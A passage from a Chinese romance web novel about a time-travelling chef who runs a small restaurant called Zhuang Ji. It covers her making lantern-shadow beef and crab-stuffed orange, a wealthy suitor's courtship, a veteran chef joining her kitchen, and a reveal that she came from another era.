手起刀落间，她面色平静，也不需要格外小心翼翼，因为对于她来说，切牛肉片是一件很手到拈来的事情。 切下来的牛肉片薄可透光，江映槐用洗过的手小心谨慎地拿起一片切好的牛肉片，对着门外的光，嘴里情不自禁发出一声喟叹。 “这切得也太薄了吧！好漂亮啊，光这样看着都饿了……” 庄凝冬笑笑不说话，继续切着牛肉片。 把牛肉片切得细薄只是第一步，接下来要将切好的牛肉片用香料拌好，整齐地铺在筲箕上，拿出去风干。 按照传统的晾晒风干方法，这一步就得花上好半天。 虽然现代有了风干机，能很好地提升效率，但做灯影牛肉是庄凝冬心血来潮的一个想法，风干机还没来得及买，现在只好拿到后院去晾着了。 傅迎月和傅运霖两人只会吃，在其他方面帮不上什么忙，当然也不需要他们帮忙就是了。 他们便在后院观察着厨房里的一切。 起初看到傅修霁鞍前马后的时候，傅运霖还不信：“这能说明什么？你也知道大哥他这个人向来挑剔，说不定他只是不想别人毁了这道菜，才抢着亲力亲为。” “……得了吧，大哥他这个人，只会在事后辣评，你什么时候见他事必躬亲过？” 傅迎月玩着手里的狗尾巴草，胜券在握道：“不信你就继续看吧。” 拌好香料的牛肉片铺了好几个筲箕，傅修霁帮忙拿到后院时，傅迎月用手肘碰了碰傅运霖。 傅运霖看了眼，不甚在意：“不就帮忙拿个东西，但凡是个正常人都会下意识帮忙吧。” “关键点就是，大哥他不是正常人啊。” 傅运霖：“……” “你真是飘了，小心蛐蛐被他听见。” 这些牛肉片得风干好半天，这段时间暂时不用管它们，于是，庄凝冬忙完这一步，就开始备傍晚售卖的菜式了。 下午这段时间，傅迎月和傅运霖没在后院待多久，就跑到前门石桌处看傅老和江老下棋去了。 傅迎月对棋不感兴趣，看了一会儿，百无聊赖地嚼了几个李子之后，开始托着腮打起了瞌睡来。 四周人观棋不语，偶尔会传来几句当事人走错棋的懊悔。 微风阵阵，一片岁月静好。 不知道过了多久，庄凝冬奶奶和隔壁家陈婆婆在外逛完回来，手里还拎着一袋东西，看着沉甸甸的。 不经意间瞥见的傅修霁三两步上前，伸手接过：“我来拿吧。” 这上赶着帮忙的模样惊得傅老爷子棋都下错了。 要知道傅修霁这个人，平时在家可是大爷得不行的，傅老爷子哪里见他这样上心过，跟被夺舍了一样。 “诶！走错了！唉……烦死了，都怪傅……咳。” 傅迎月也被傅修霁的声音惊醒，她迷糊转头，发现庄凝冬的奶奶正跟傅修霁说话—— “是俢霁啊，真是麻烦你了。” 傅修霁笑了下：“叫我小傅就好。” “？？？” 傅老爷子、傅迎月和傅运霖这三人听到后简直惊掉了下巴。 不是，他们刚刚听见了什么？ 叫、叫我小傅？？就好？？？ 啊？？？ 在众人呆愣的时候，奶奶已经唤着傅修霁把东西拿到傅迎月他们面前。 袋子打开，里面是一些饮料和零食，都是小孩子才爱吃的那种，明显是买给傅迎月和傅运霖的。 奶奶脸上带着对后辈的慈爱：“住在咱们朝丰街的大多是不到十岁的小孩子，也不知道你们爱吃什么，就随意买了点，希望你们不要嫌弃。” 傅迎月从震惊中回神，忙道：“不嫌弃不嫌弃，怎么可能嫌弃呢……” 傅迎月说着，又戏精上身：“庄奶奶你都不知道，小的时候拜我那个哥哥所赐，我经常吃了这顿没下顿的，像这种小零食更是没吃过，喜欢还来不及呢。” 傅修霁：“……” 傅老爷子：“……” 傅迎月在背地里偷偷掐了傅运霖一把，暗示他做点反应。 傅运霖：“……对对对，我们很喜欢的，真是谢谢您了庄奶奶。” 傅修霁有活干，没空在这里跟他们玩，奶奶和陈婆婆过来待了一小会儿也走了，待她们离开后，傅迎月和傅运霖聊起方才的事。 “我刚刚没听错吧？？！”傅迎月现在回想起来，依旧觉得难以置信、以及起了一身鸡皮疙瘩，“那样的话，竟然能从大哥的嘴里说出来？！” 傅运霖也一副见了鬼的模样，喃喃：“‘叫我小傅就好’……真恐怖……” “这回你该信了吧，大哥就是看上人家了，在讨好人家奶奶呢。”傅迎月啧啧：“没想到啊，大哥竟然是这种人，要不是亲耳听见，我是肯定不信的。” 傅运霖震惊过后就是心如死灰了。 他的零花钱啊！ 傅运霖嘴唇动了动，试图说点什么来挣扎反驳一下时，不远处有只猫爬上了门前那可槐树下不来，庄凝冬正在树底下准备接着它，而他那个大哥，在一旁看着。 不看猫，看人。 一副不值钱的样。 傅运霖痛哭流涕：“补药啊！！大哥你糊涂啊！好端端的碰什么爱情……” 傅迎月笑盈盈：“记得你的零花钱哈。” * 一个下午过去，牛肉片已经风干得差不多了。 薄薄的一片，边缘卷起，颜色变得极深。庄凝冬伸手捏了捏牛肉片的一个角，“咔嚓”一声，边角便碎了。 脆得不行。 庄凝冬把这些晒干的牛肉片放进炉里烘烤，烘烤完的牛肉干还不能直接用来油炸，其中还缺了一个步骤，那就是蒸。 蒸过之后再油炸的牛肉，从口感上来说不会发柴。 一个多小时以后，庄凝冬开始起锅烧油，放入姜片花椒等香料炸香，再将它们捞出来以后才把蒸过的牛肉片放下去。 到这里，牛肉片已经很香了，不过还没完工，还得经历最后一个步骤—— 炒。 加入提前准备好的辣椒面、花椒面、白糖等配料，煸炒均匀，真正的灯影牛肉才算做好。 完工的灯影牛肉薄如蝉翼，庄凝冬又拿来一盏蜡烛灯摆在中间，将一片片灯影牛肉层层叠叠摆放好，在灯光下，灯影牛肉红亮透光，完美如一件艺术品。 江映槐早就被馋得口水直流了，傅迎月和傅运霖也看得眼睛都直了。 傅修霁嗤笑了声，提醒：“口水擦擦。” 傅迎月和傅运霖下意识地抹了抹下巴，才反应过来傅修霁是在取笑他们，气得傅迎月张口直喊庄凝冬姐姐。 “姐姐，灯影牛肉是不是可以直接吃了？” “可以。”庄凝冬笑笑，端着灯影牛肉到他们面前，让他们自己拿。 刚出锅没多久，还热腾着，几人闻着那股鲜香，纷纷拿起筷子，望眼欲穿地等着前人夹完，才兴奋地夹起一片。 薄薄一片的牛肉片，经过多道煮制工艺，表面呈现出一种粗糙的质感，以及微卷曲的形状，除此之外，亮晶晶的油光感在灯光的加持下更显光泽，也更诱人了。 观摩了制作过程，江映槐是看着各种花椒干辣椒做配料的，她捻起一片牛肉片放到嘴里，先感受到的果然是一股浓郁的麻辣鲜香味。 牛肉片的口感是脆的，咔嚓一声，吃起来有点像薯片，却又带着嚼劲，牛肉香在口中越嚼越浓郁。 辣辣的，超级香。 “好吃！” 同样被灯影牛肉惊艳到的还有傅家那姐弟俩。 傅迎月和傅运霖最爱吃辣，这份灯影牛肉酥脆味美，麻麻辣辣的，着实是做到了他们的心坎上。 “哇！姐姐，你做得也太好吃了！”傅迎月被香得根本停不下来，忙里偷闲似的，吃完一片，趁着夹新牛肉片，嘴巴还没来及咀嚼的空隙，张嘴对着庄凝冬就是一顿夸。 “我可太喜欢吃了，姐姐，认识你之后，我才体会到有姐姐的幸福。” 语气甜甜的，话里还蕴含着故意气傅修霁的字眼。 傅修霁听着她一口一个姐姐，头有点疼。 庄凝冬宠溺地摸了摸傅迎月的头，轻声地说出略残忍的话：“好吃你也不能多吃，你昨天长出的那颗痘痘还没消散呢，辛辣刺激的食物你先别多吃。” 闻言，傅迎月痛苦地哀嚎了声。 不过，庄凝冬答应等她好了以后再多给她做一点，这倒是让傅迎月好受了些。 由于傅老以及傅家姐弟的到来，新做的灯影牛肉有点不够分，还有些街坊邻里都还没尝到，庄凝冬打算明天再做一些，这样的话，上新的日子就得继续往后推了，这也让一堆早就在店铺里被香迷糊的顾客遭罪了。 不过他们也很坏，自己淋过雨也要撕烂别人的伞，直接在群里绘声绘色地讲庄凝冬做的新品灯影牛肉有多香多诱人，馋得顾客群里的人嗷嗷叫。 见其他人也要忍受这份痛苦，那些顾客倒是舒坦了。 傅老爷子看到这份灯影牛肉，看着那薄得透光的色调，更是眼睛都挪不开了，以前一直不懂小辈在吃饭前为什么都要用手机先拍照的他此刻也掏出了手机，对着灯影牛肉就是一顿拍。 傅运霖瞅着，想吃的心达到顶峰，觉得拍照磨叽，但又不敢明目张胆有意见，坐在边上感觉度秒如年。 想让他姐去劝爷爷别拍了，哪知傅迎月不但不劝，甚至指点起拍照来了。 “哎呀爷爷，不是你这样拍的，我教你，这样，打开网格线，把主体放到这个位置……” 傅运霖：“……” 拍完后，傅老爷子看着拍出来的照片，发现确实比他之前拍的好看多了之后，欣赏了半天，美滋滋发了个朋友圈，这才放下手机正要开吃。 哪知碟子上最后一片灯影牛肉刚好被傅运霖夹走，气得他胡子都歪了，当场又扣了傅运霖一个月零花钱。 傅运霖：“？” 明明吃得最多的是姐姐，凭什么扣他零花钱！ * 万宁市，某个院子里。 “老刘！在干嘛呢？！老李他邀我们去看戏呢！” 人未至声先到，一把明显上了年纪的声音自门外传来。 “？？？怎么回事，你还在琢磨食谱呢？” 来人找了一圈，才在厨房里找到老刘。 “不然呢，我这辈子就对这方面感兴趣，早就定型咯，哎对了，老万，我最近研究出了一个新配方……” 他们两人虽然都还没到退休的年纪，不过膝下有儿女养着，倒也过得快活。 看他依旧这么痴迷的模样，老万打趣道：“你干脆再找个酒楼当厨子算了。” 老刘名叫刘华荣，曾经是百味楼的一位掌勺师傅，并且在那待了二十多年。 能在百味楼待二十多年的，可见其厨艺高深，所以尽管老万在开玩笑的时候，也依旧让他找酒楼，没让他随便找个餐馆，否则太大材小用。 “这个还是算了，当什么厨子啊，他们条条框框的太多，未必肯接受我独特的创新，还不如就呆在家里给儿孙做做菜呢。” 刘华荣当时从百味楼辞职，就是因为百味楼故步自封，不肯创新，守着以往的菜式从早做到晚，刘华荣觉得无趣极了。 不过他也能理解。 百味楼做到今天这个地步不容易，高层难以承担风险，所以一直坚持做老味道。 “说起这个独特的创新……”老万想起什么似的，他打开手机递到刘师傅面前，“你看图片里，傅老朋友圈发的这些菜，是真的雅致啊，看看这个菊花豆腐，鳜鱼狮子头，还有灯影牛肉……看得我馋死了。” 刘华荣原本只想敷衍地看几眼的，结果这一看，就移不开眼了。 纵他有几十年的掌勺经验，还是从百味楼出来的老师傅，看到这些图片也不得感叹这摆盘之精美，色调之明亮。 当然，前提是傅老发的图片没p过。 老万给看的并不是傅老爷子的朋友圈，他们虽然是认识权贵圈子里的一些老爷子，但也没到能加上微信的地步。 那是别人截图发出来的，至于这图经了几手才让他们看到，就不得而知了。 刘华荣注意到，那截图里，有傅老爷子自己的评论，说那家店在溪城，叫庄记。 溪城挺偏的，庄记他也没听过，这家饭馆估摸着规模不算大。 “傅老这样的人，竟然不吃百味楼，而跑去小城市吃私房菜？” 老万不像刘华荣整天只知道研究菜谱，他的消息灵通多了。 “不止傅老，江老好像也在那边，据说这家饭馆太好吃了，好吃到他们都不想走呢，这些我也是从别人口中听回来的，不过我觉得大概率是假的，那些图片看着是能让人食欲大增，但味道嘛，我不信能好吃到让他们放弃百味楼一直待在那。” 刘华荣不接话，只是回想着刚刚在图片上看到的信息点，其中有一道菜是鳜鱼狮子。 百味楼也有狮子头，不过他们做的传统的猪肉狮子头，没试过用其他肉。 鱼肉如果打成糜，说得好听就是狮子头，换个说法不过是特大版狮子头而已，傅老这个地位什么鱼丸没吃过，能让他留在那的兴许真的有特别之处。 刘华荣若有所思，默默记下地址，打算挑个时间去一趟溪城。 * 这段时间，傅家姐弟一直待在庄记，两姐弟还左一个姐姐右一个姐姐，都是趁傅修霁刚靠近庄凝冬想说点什么时就出来，闹得他心烦，偏偏他顾及在庄凝冬面前的形象还不能说什么。 这天，傅修霁终于忍不了了，他打算去一趟傅老爷子现在的住处赶人。 晚上。 傅迎月正和傅母通着视频电话。 一家子都跑去溪城了，老公又天天跑集团上班，傅母起初还乐得个清净，这时间一长了，倒是有点想念了。 这不，今晚打了个电话跟女儿聊聊天。 一通话，才知道自己大儿子竟然也在溪城，想到他一声不吭跑掉，傅母就觉得来气。 “傅修霁去那里干嘛？让他赶紧给我滚回来。” “这，恐怕不太行……”傅迎月很少有站在傅修霁那边的时候，谁让她对未来嫂嫂挺满意的呢。 傅母：“怎么不行？” 傅迎月说：“因为大哥他铁树开花了，妈妈，你也想要一个温柔漂亮的儿媳妇吧。” 在一角看报的傅老听到后嗤了声，显然还对傅修霁有脾气：“或者也可以多收养一个女儿。” 傅迎月轻咳了声。 傅母不知道他们的梗，重点放在了儿媳妇上：“什么？你说傅修霁他是去追女孩的？！” 傅母不是不知道她儿子什么德行，显然不太信：“我平常跟他说这方面的事他都左耳进右耳出不放心上的，能主动去追女孩儿？” 傅运霖在一旁听着，说道：“是真的妈，你没在现场是真的可惜，你都不知道大哥他有两幅脸庞呢，面对我们是一副，面对未来嫂嫂又是另一幅。” 傅运霖说着，似乎想到了什么重要的事，忽然站起来，激动道：“对了妈，我跟你说，大哥他现在，真的什么话都说得出口，有天我看到他还对未来嫂嫂的奶奶说‘叫我小傅就好’呢。” 傅运霖重复那句话的时候讲得绘声绘色，手舞足蹈的，还特意掐着嗓子，语调多了几分阴阳怪气。 傅修霁就是这个时候开门进来的。 明显听到了傅运霖模仿他的那句话。 傅运霖：“……” 傅运霖唇角的笑僵住，整个人石化了，万籁俱寂间，傅运霖张了张嘴，还没来得及辩解，就听见傅修霁冷冷道： “你零花钱没了。” 傅运霖欲哭无泪，内心抓狂，怎么人人都对他的零花钱动手？！ 傅迎月不厚道地笑了出声。 电话那头，傅母听见了大儿子的声音，立马唤他过去唠了几句，想问问那个女孩的信息，哪知傅修霁什么都不肯透露，打着哈哈就敷衍过去了，烦得她都不想聊了。 趁着他们唠嗑的这段时间，傅迎月看到傅运霖这副垂头丧气的样子就忍不住逗他：“不就是零花钱嘛，反正你已经失去得足够多了，这点零花钱算得了什么？” “……你也是罪魁祸首之一。”傅运霖可没忘记那个赌约输的钱。 “又不是我强迫你跟我打赌的。” 就是因为这，傅运霖才更郁闷。 “放心，我肯定不会像大哥那么绝情，说扣零花钱就一分钱都不给的。” 闻言，傅运霖眼中燃起了希望：“真的吗？姐，你会留多少给我？姐姐你这么沉鱼落雁闭月羞花天生丽质冰雪聪明……” “打住，也不是留零花钱给你。” “……那有什么区别？” “还是有区别的吧，你想买什么告诉我，我可以选择帮你买，七位数以内……” “这么多。” 傅运霖止不住笑了，然后听见傅迎月补充了一句：“三位数以下。” “……” 傅运霖笑不出来了。 * 傅运霖和傅迎月没在溪城待多久就回去了，走之前，庄凝冬给他们送了好一些灯影牛肉。 这才安抚了他们不舍的心情。 为了方便他们下次来，傅老爷子还吩咐人在溪城修停机坪，等以后，他们就可以坐私人飞机来了。 听到这个的陆向安就差朝傅老跪下问他还缺不缺孙子了。 灯影牛肉一上新，一如既往的好评如潮。 这段时间，庄记平稳地营业着。庄凝冬隔一段时间就会上一样新品。 这天，庄凝冬正在做新菜——蟹酿橙，傅修霁在一旁给她打下手，中途，一个年过半百的男人走到窗口旁，问：“你好，请问你们这儿管菜式的总厨是谁？” 庄凝冬愣了一会儿：“是我，怎么了？” “有点事需要麻烦您出来一趟。” 对方态度恭敬，庄凝冬放下手头的活应了声：“好，稍等。” 庄凝冬把剩下的活给傅修霁交代清楚：“傅修霁，你等会儿——” “是不是我这段时间哪里做得还不够好？”傅修霁忽然出声。 庄凝冬不明所以地“啊”了声：“为什么突然这么问？” 傅修霁：“如果不是这样，那你为什么喊别人就两个字两个字地喊，喊我就连名带姓？” “……” 傅修霁叹了口气：“太生疏了。” “……” 庄凝冬是真没在意这种细节，她觉得只是一个名字而已，怎么顺口就怎么喊了。 不过对方都这样了，改一下也没什么。 “那——”庄凝冬顺口道：“俢霁，你先把台上这几只螃蟹拆好，其他的等我回来再说” “好。”傅修霁说完，余光瞥见楼梯那边下来一个人，他想了想，又道：“老板，你是不是觉得我做得好，所以才把这些活交给我干？” “……是吧。” “做得比你那个徒弟还要好吗？” “……” 就拆个螃蟹肉，并没有什么技术含量可言，也没有什么可比性，庄凝冬不想拉踩他们之间的任何一个，并没有回答他，扯开话题说不好让人等太久，就出去了。 刚从二楼下来的江映槐显然听到了傅修霁问的那个问题，顿时不爽了：“什么叫你做得比我好？就这些基本的打下手，跟谁不会似的！” 江映槐气得立马过去抢着干。 傅修霁见目的达到，便开始不动声色摸鱼了。 江映槐原本还想跟傅修霁争，结果不小心看见外面那个年过半百的人，下意识就想躲。 “他怎么来了？” 江映槐正想着该怎么把自己藏起来时，忽然发现傅修霁过于平静了。 “你不认识他？” “谁？” “跟师父聊着天的那个老人。” 傅修霁有点不太想理她样子：“我为什么要认识他？” “……” 够拽的。 江映槐在心底吐槽了一下。 “那是百味楼的老师傅，姓刘，挺有名的，你居然不认识？我记得你不是说过对厨艺感兴趣吗，没道理连厨艺界知名人士都不认识啊，”江映槐像是发现了什么重要的点：“哦，承认了吧，你果然是对我师傅图谋不轨，偷偷摸摸瞎扯一通就为了混进来的。” 傅修霁：“你光明正大你要躲躲藏藏？” “……” 其实江映槐也不知道自己为什么要躲。 她跟那个百味楼老师傅的交集也不过是她以前拜师学刀工的时候跟他认识了一下。 江映槐记得，他不是擅刀工的，她当时找的人也不是他，而是他的其他同事。 不过由于她在面点方面表现得太出色，所以刘师傅主动找过她，表露过想要收她为徒的意向，但是江映槐拒绝了。 就是曾经拒绝过他，然后突然被他发现自己拜了别人为师，好像被抓包了一样，有一瞬间的心虚。 但其实也没什么。 拜师还是得讲究缘分，她也有拒绝的权利和拜别人为师的自由。 这么一想，江映槐理直气壮起来了：“谁说我躲躲藏藏了？” 外面，庄凝冬领着刘华荣进门，她正要给他们互相介绍让他们互相认识一下，就发现江映槐正和刘华荣大眼瞪小眼。 刘华荣怀疑自己眼睛出问题了：“你、你不是小槐那丫头么？你怎么在这？” “我怎么不能在这？” 江映槐怕他一看见她就又升起收她为徒的念头，便先发制人道：“对了，你就别再想着要当我师父了，我已经有师父了。” 刘华荣沉吟片刻，似有某种预感：“你的师父是……？” “在这呢～”江映槐蹦跳到庄凝冬身边，亲昵地抱住她的胳膊。 “那你可以放心了，我不是来当你师父的。” “那就好——” 江映槐还没松完一口气，便听到刘华荣接着说： “我是来当你师弟的。” “？？？” （正文完） 第90章 第90章 “师弟……”江映槐拔高声音：“你拜我师父为师啦？” 不止江映槐，就连原本不太在意这些琐事的傅修霁都有了反应，他掀起眼皮向庄凝冬投去一个眼神。 庄凝冬接收到，头皮一紧，莫名有点心虚。 这些天很忙，日常被别的事情占据着，再加上傅修霁留下来以后，除了偶尔想要夸赞、跟江映槐比较的时候会提到“你那个徒弟”的相关字眼外，其他时间似乎没听他说过他要拜师的事，这与当初江映槐来拜师的模样来比，实在算不上热情。 所以庄凝冬忘了他来这儿的初衷—— 要拜她为师。 这会儿提起来，庄凝冬才蓦然想起。 不过傅修霁那眼神里没有谴责，有的只是……受伤。 就像在说“是不是我哪里做得不够好，所以你要跳过在这里打了那么久杂的我，去收别人为徒”。 “……” 庄凝冬决定解释一下：“其实，刘师傅还不是我的徒弟。” 他们刚刚在外面 “对，”刘华荣笑了笑，“还是庄老板太谦虚了，说我是这个行业的前辈，来给她当徒弟的话她会有压力了。跟硬实力比起来，我那几十年经验实在算不上什么。” 说到这，庄凝冬才想起还没好好介绍刘华荣，她让后厨里的工作人员都先停一停手里的活。 众人看过来，庄凝冬说道：“这位曾经是百味楼的老师傅，在这个领域也深耕多年了，获得过不少荣誉，日后大家有什么不懂的都可以向他指教。” 这话的意思是……这位刘师傅要留下来工作了？ 刘华荣笑道：“初来乍到，有很多不懂的地方，希望大家多多包涵。” 后厨的工作人员里有认识刘华荣的，现在也无比激动—— “还真是百味楼里的师傅，没想到有这么一天我也能跟这么厉害的老师傅一起工作了，激动得我都怀疑我自己是在做梦了。” “刘师傅，我也在网上看到过您……” 以前百味楼也会在官号上放出一些关于食材方面知识的科普，那些视频刘师傅就有出镜。 见员工里挺多认识刘师傅的，庄凝冬就放心了。 以刘华荣的经验和资历，庄凝冬给了他主厨的职位，有能力在，其他员工也尊敬，那就不会有人不服不听管教了。 看他们聊得那么欢，庄凝冬把注意力放在了一言不发的傅修霁上。 她想了想，问他：“你呢？你听说过刘师傅吗？” 庄凝冬顿了下，又补了句：“修霁。” 傅修霁勾了下唇，心情看上去似乎不错：“没有。” 江映槐来劲，想踩一踩他：“他刚刚说——” 傅修霁：“是我孤陋寡闻了。” 江映槐：“？” 你刚刚不是这态度。 刘华荣：“没有没有，我也不是什么很出名的人物，没听过也正常。” 看着这互相谦让的场面，江映槐更烦了。 这男的真装！ 接下来，庄凝冬先领着刘师傅熟悉了一下店面，又跟他洽谈了工作上的细节，便让他自己先随便逛逛了。 庄凝冬打算等他明天正式入职的时候，再把工作内容一一交代给他。 毕竟是主厨，算挺高的一个职位了。 其他工作人员还没达到这个高度，带人的事自然得庄凝冬亲力亲为。 安排好刘师傅的事，庄凝冬才回到厨房里干活。 傅修霁已经把那点蟹肉拆好了，白嫩嫩的蟹肉搁在碟子里，一根根，还挺完整的。 蟹酿橙的做法不难，在挖好橙肉之后，就到炒蟹粉了。 庄凝冬起锅烧油，放入姜末和拆好的蟹肉，再加入酱油、花雕酒等调味料，翻炒一会儿出锅就可以塞进提前挖空的橙子壳里了。 这几个步骤都不难，也不太需要别人打下手，但傅修霁仍然站在一旁一言不发地看着。 江映槐早早带着刘师傅介绍庄记去了，此时其他人也在干自己的活，没人注意他们这边。 庄凝冬以为他是要学做蟹酿橙，刚准备开口边做边教时，她听见傅修霁说话了。 “如果他不是德高望重的前辈，你是不是就收他为徒了？” 庄凝冬愣了一会儿才反应过来他在说什么。 距离刚刚都有段时间了，没想到他还想着这事。 庄凝冬扭头看了他一眼，还没来得及说话，就听见他继续道： “也是，他就算不是百味楼的师傅，也还有几十年的经验，从资历来说是比我要厉害。” “……” “你跳过我考虑他也是应该的。” “……” “要是我能早出生几十年就好了。” “……” “那我应该就能把他比下去，你也会先考虑我了吧。” “……” 蟹粉已经炒好了，庄凝冬关火，也不着急把它们盛出来，她决定还是先把眼前的人搞定。 “我没有……” “没有什么？”傅修霁似是被伤透了心，现在也想不到好的方面：“果然，没有先考虑我。” “……”庄凝冬：“我没有这样想，不管刘师傅怎样，我都不会跳过你收他为徒，毕竟你先来的，能力也不差，我还是会先考虑你的。” 傅修霁闲散地盯着她。 “只是这段时间都没听你提起过这件事，我也不知道你还有没有要拜我为师的想法，既然现在都说到这件事了，那我就问问你，你还要拜我为师吗？” “当然要的，只不过——”傅修霁话锋一转，语调放轻，“我觉得我还没达到当你徒弟的要求。” 庄凝冬微微瞪大眼睛，有点不可思议：“可是我觉得你……” “抱歉，这是我自己的一套标准，与你无关，如果没达到，我是说服不了自己的。”他语气带了点恳求：“再给我一点时间，我一定会尽快提升自己的。” 对方的姿态看着太卑微，庄凝冬有点不忍：“哦，那好吧。” “那这段时间内，如果再有其他什么李师傅、陈师傅……” “放心吧，我都会先考虑你的。” “这是不是有点不好？”傅修霁似是很体谅她：“你之后还有收徒的意愿吗？” 在这方面，庄凝冬其实没有太强烈的想法，主要看缘分，她也没有一定要将某种才艺流传下去的强烈想法。 反正现在技术那么发达，把教程往网上一发，谁都可以学，也算是一种流传了。 “看缘分吧。” “那这样吧，”傅修霁想了想，说，“在这段时间里，如果有其他比我更厉害的人出现，你就先跳过我吧。” 庄凝冬没觉得有什么不妥，她点点头：“这样也好，谢谢体谅。” “不客气。”傅修霁微微一笑。 可惜了，不会有比我更厉害的了。 * 刘师傅的技艺不仅体现在掌勺做菜上，还体现在白案上，所以难怪之前会有招江映槐当徒弟的想法。 再加上在百味楼当了那么多年主厨，除了在做饭方面的硬实力外，刘师傅在管理、领导方面的能力也非常出色，恰好能弥补庄凝冬在这方面的不足。 刘师傅的到来是真的给庄凝冬减轻了不少工作。 庄凝冬轻松了很多，陪伴奶奶的时间也多了。 这天，她正要陪奶奶出门逛逛，陆向安从楼上下来，叫住了她：“老板！有工作上的事要跟你说一下，先上来一趟呗。” 庄凝冬上了二楼。 陆向安说的工作竟然是省政府那边发来的一个合作。 大概是上次上了溪城电视台，庄记小火了一把，被省政府那边看到了，现在邀请庄记一起做一档关于弘扬美食文化的直播。 是省政府那边的邀请，机会难得，庄凝冬根本不用多想，立马就接下了。 成功跟那边的工作人员对接上，庄凝冬了解完大体流程，表示明了。 其实不算难，需要她做的就是准备一个新菜，注意耗时不要太久，因为到时候要直播做这个菜，没多少时间分配到这个环节。 要是单单这样的话还好处理，但是那边工作人员说了，还有很重要的一点，这个菜除了在直播中推出之外，到时候还会被政府那边拿去招待重要人物，所以还要求有内涵有立意。 对此，庄凝冬跟那边工作人员表示，会好好想。 “感觉还挺难的。”江映槐脑袋空空，愣是想不出有什么菜。 都说要拿去招待重要人物了，除了立意，摆盘外观肯定也要精致惊艳，量应该也不能少，不然的话太小家子气。 刘华荣在这方面倒是有点头绪，毕竟是从给不少权贵服务过的百味楼出来的。 庄凝冬听了他的一些意见和举的例子，点点头，表示会好好想想的。 “有头绪了吗？” 趁着闲暇时间，傅修霁来到庄凝冬身边问。 此时距离谈好合作已经过了一天。 庄凝冬神秘一笑：“有。” 原本傅修霁想着，庄凝冬要是还没想好的话，他就说说自己意见的。 傅修霁脑海中浮现了几帧梦境里的画面，他垂下眼睫，眼神晦暗不明，有点不知道要不要试探她一下。 过了片刻，他道：“能说来听听的吗？” “先保密。”庄凝冬笑笑：“正好我今天准备先试做一下这道菜，晚点给你看成品。” 随后，傅修霁看着她拿起了一条鲜活的鲤鱼在捣鼓。 梦境中的某个画面适时浮了出来，傅修霁呼吸慢了一拍，而后定定盯着庄凝冬看了几秒，才走上前道：“你要做的菜品跟鱼有关？” 庄凝冬：“是啊。” “或许——”傅修霁缓缓道，“我们的想法不谋而合。” 他看着庄凝冬的眼眸很亮，似是对自己说的话有十足的把握。 庄凝冬笑了下，自然不信，因为她要做的这道菜是她在大燕朝的时候想出来的。 傅修霁挑眉：“你不信？” “我要做的这道菜还不曾在市面上出现过。” “可以试试。” “怎么试？” “你做你的，我把我的想法写下来，你看怎样？” 这个法子倒是不错，可以避免他是看到她这样做之后才往这方面靠的嫌疑。 庄凝冬应下，她低头处理着鲤鱼，忍不住往楼梯那看了眼。 傅修霁刚从那上了二楼，现在已经看不到他的身影了。 庄凝冬后知后觉感受到几分古怪，他怎么那么自信肯定？ 联想到那张一模一样的面容，一个不可思议让庄凝冬放慢了呼吸。 难道他真的是…… 至于是不是，晚点就可以验证了。 在这个等待的过程中，庄凝冬心情很忐忑，既期待又紧张。 庄凝冬给鲤鱼划着花刀，江映槐依旧在一旁看，给庄凝冬打着下手。 在庄凝冬第三次喊她要干嘛干嘛的时候，江映槐终于察觉到了不对劲。 那个无论干嘛都要踩她一脚、并且人前人后两幅面孔表里不一的绿茶男呢？ “那个，师父，傅修霁人呢？” 要不是因为在庄凝冬面前，江映槐高低称他为“姓傅那个”。 “他说关于定菜方面他也有些想法，我就让他去写下来了。” 江映槐“哦”了声，仍然不动声色在找茬：“什么想法还得写下来，直接说不就好了嘛？我看他是接机偷懒才对。” 江映槐说到最后，还不忘自夸一番：“师父，像我这么真挚又勤快的人可不多了。” 被她的行为举止可爱到，庄凝冬低笑了声，顺她的意嗯了声。 又让江映槐爽到了。 因为省政府那边提前说过，要控制时长，所以庄凝冬做的也不是什么特别复杂的菜。 试做这道菜的时候，也就没花多少时间，很快就做好了。 成品被庄凝冬用不透明的盖子遮了起来，说要留着到晚上再吃。 江映槐从头看到尾，算是目睹了这件艺术品的完成过程，看见成品的那一刻，她就是一个目瞪口呆的状态。 也太……让人震撼了！ 江映槐对着庄凝冬吹了许多句彩虹屁，仍然无法掩饰这种激动的心情，便转头上楼去烦陆向安了。 傅修霁刚好从楼上下来，手里还拿着一张纸。 “看看？”他把纸递给庄凝冬。 “好。”庄凝冬接过，指了指那边的碟子，“你也可以过去看看。” 说完，庄凝冬便拿着纸仔细看了起来了。 白纸黑字，字迹龙飞凤舞。 才看了前面三个字，庄凝冬的瞳孔便骤然一缩，而后猛地抬头看了眼傅修霁。 傅修霁还没动，他仍旧站在那，坦然对上庄凝冬的目光，然后，缓慢地歪了下头。 庄凝冬勉强压下心中的狂风骤雨，才继续看下去。 一页纸，庄凝冬走马观花地看完了，再次抬头时，她难掩心中激动的情绪，开口时，连声音都带了丝不可思议：“真的是你？！” “你也是——”庄凝冬似乎意识到人来人往的厨房不是说话的好地方，她把傅修霁带到院子外的安静一角，说完刚刚的话。 “你也是穿过来的？！” 被拉出院子时，傅修霁始终没去看那道菜，他从庄凝冬看到纸张时的反应就能猜到，他赌对了。 只是，那句“你也是穿过来的”是什么意思？ 虽然自己早就确定了她就是梦境中的那个人。 相应的，他也只是以为对方跟他一样，拥有同样的梦境。 不过按照目前的情况来看，似乎不是？ 傅修霁：“什么？” “穿越啊，你不是穿过来的吗？” 傅修霁的反应一下子又让庄凝冬不太确定了。 但是他写的那道菜…… 庄凝冬做的这道菜叫“燕归巢”，主食材为鲤鱼，是将鲤鱼做成燕子的形状，通过油炸定型，再通过其他食材，做成鸟巢形状的一道菜。 当时大燕朝差不过快到建国二十五周年，那是一个举国同庆的日子，全国上下都在为了这一天紧锣密鼓地筹备着。 皇宫里更是忙得脚不沾地，御膳房也不例外。 他们需要在当天提供各式各样的新菜。 那会儿庄凝冬的师傅有意锻炼她，便让她多想几道菜。 这道“燕归巢”就是庄凝冬那会儿想出来的，这个想法理念出来时，她就跟一个人讲过，连师傅都没说。 后面再想跟师傅说的时候已经来不及了。 因为，还没来得及说，她就穿到了这个世界。 而后续，也没有关于这道菜的记载。 “穿越？” “对啊，我是前几个月才来到这里的，一张眼就从别人身体里醒过来了。” 尽管傅修霁接受能力再强，懂得再多，也还是花了点时间才相信庄凝冬口中的穿越，是小说里面才会出现的穿越。 而且还是魂穿。 所以之前的一切疑惑都得到了解答。 难怪他先前的所有猜测都行不通…… 面对傅修霁的沉默，庄凝冬也察觉到了不对劲：“你对穿越的反应有点奇怪，难道你不是穿越来的？那你怎么会拥有那些记忆？” 